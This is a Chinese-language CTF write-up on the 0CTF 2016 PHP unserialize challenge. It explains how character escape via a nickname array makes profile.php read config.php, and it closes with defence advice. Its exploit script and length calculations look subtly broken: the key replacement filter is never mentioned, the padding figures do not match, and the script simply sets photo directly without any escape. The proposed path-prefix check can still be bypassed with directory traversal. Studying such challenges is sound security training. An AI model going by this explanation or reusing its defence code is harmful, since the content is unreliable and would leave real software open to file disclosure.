从0CTF 2016 Unserialize看PHP字符逃逸:一个nickname数组如何“撑开”序列化字符串读config.php
从0CTF 2016 Unserialize看PHP字符逃逸:一个nickname数组如何“撑开”序列化字符串读config.php
在CTF竞赛中,PHP反序列化漏洞一直是高频考点,而0CTF 2016的这道Unserialize题目则展示了如何利用字符逃逸技术实现关键文件读取。本文将深度剖析这一经典案例,聚焦于 nickname 数组如何通过精心构造的字符串长度欺骗机制,最终实现 config.php 的读取。
1. 漏洞场景与技术背景
这道题目的核心在于PHP序列化字符串的解析机制与过滤规则之间的微妙冲突。当系统对用户输入进行过滤后再进行序列化存储,就可能出现字符逃逸漏洞。具体到本题,存在以下几个关键点:
- 数据流路径 :用户通过
update.php提交个人资料 → 数据被序列化存储 →profile.php读取并反序列化数据 → 通过file_get_contents读取photo字段指定的文件 - 关键过滤规则 :
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) - 漏洞触发点 :
profile.php中的危险操作$photo = base64_encode(file_get_contents($profile['photo']));
这种场景下,攻击者需要找到方法让 photo 字段指向 config.php ,但直接修改会被过滤规则拦截。这就是字符逃逸技术大显身手的地方。
2. 字符逃逸的核心原理
字符逃逸(String Escape)的本质是通过精心构造输入,使得序列化字符串的解析边界发生偏移。在本题中,攻击者利用 nickname 数组实现这一目标,具体原理如下:
- 序列化字符串结构 :PHP序列化后的字符串包含严格的长度声明,如
s:5:"hello"表示长度为5的字符串 - 长度欺骗机制 :当过滤规则修改了原始输入但未调整序列化字符串中的长度声明时,就会导致解析器错误判断字段边界
- 数组的特殊优势 :使用数组可以更精确地控制填充量,因为数组元素的序列化格式更复杂,更容易产生长度计算偏差
下表对比了普通字符串和数组在序列化中的差异:
| 输入类型 | 示例输入 | 序列化结果 |
|---|---|---|
| 字符串 | "test" |
s:4:"test" |
| 数组 | array("test") |
a:1:{i:0;s:4:"test";} |
3. 漏洞利用的数学计算
要实现精确的字符逃逸,需要计算所需的填充长度。在本题中,攻击者需要:
- 确定目标结构 :让序列化后的字符串将
photo字段解析为config.php - 计算逃逸距离 :需要覆盖掉原始结构中
photo字段前的部分 - 构造nickname数组 :通过特定长度的
where字符串填充,使得最终解析时恰好将config.php纳入photo字段
具体计算过程如下:
// 原始结构
O:1:"b":4:{
s:5:"phone";s:11:"12345678901";
s:5:"email";s:10:"123@qq.com";
s:8:"nickname";a:1:{i:0;s:170:"[填充内容]";}
s:5:"photo";s:10:"config.php";
}
// 需要让解析器将以下部分误认为photo字段的值
";}s:5:"photo";s:10:"config.php";}
注意:实际计算中需要考虑转义字符和序列化格式的每个字符,包括引号、分号等标点符号的占用。
4. 完整利用链构建
基于上述分析,我们可以构建完整的利用代码:
<?php
class Exploit {
public $phone = "12345678901";
public $email = "123@qq.com";
public $nickname = array(
"wherewherewherewherewherewherewherewherewherewhere".
"wherewherewherewherewherewherewherewherewherewhere".
"wherewherewherewherewherewherewherewherewherewhere"
);
public $photo = "config.php";
}
$payload = serialize(new Exploit());
echo $payload;
?>
这段代码生成的序列化字符串中, nickname 数组的填充字符串长度经过精确计算,能够:
- 满足过滤规则(仅含字母数字下划线且长度不超过10的检查被数组绕过)
- 在反序列化时造成字符串边界误判
- 最终使系统读取
config.php而非预设的图片文件
5. 防御方案与最佳实践
针对这类字符逃逸漏洞,开发者可以采取以下防护措施:
-
输入验证与输出编码 :
- 对所有用户输入进行严格的白名单验证
- 对特殊字符进行适当的转义处理
-
序列化处理改进 :
- 避免直接反序列化用户可控数据
- 使用
json_encode/json_decode替代serialize/unserialize - 实现自定义的序列化处理器
-
文件操作安全 :
// 不安全的做法 file_get_contents($user_controlled_path); // 改进方案 $allowed_paths = ['upload/']; if (str_starts_with($path, $allowed_paths[0])) { file_get_contents($path); }
在实际开发中,我曾遇到过一个类似案例:系统允许用户上传自定义主题,但主题配置使用序列化存储。攻击者通过精心构造的主题名称实现了类似的字符逃逸,最终读取到了数据库凭证。这个教训让我深刻意识到,任何时候处理用户可控的序列化数据都需要格外小心。
更多推荐

所有评论(0)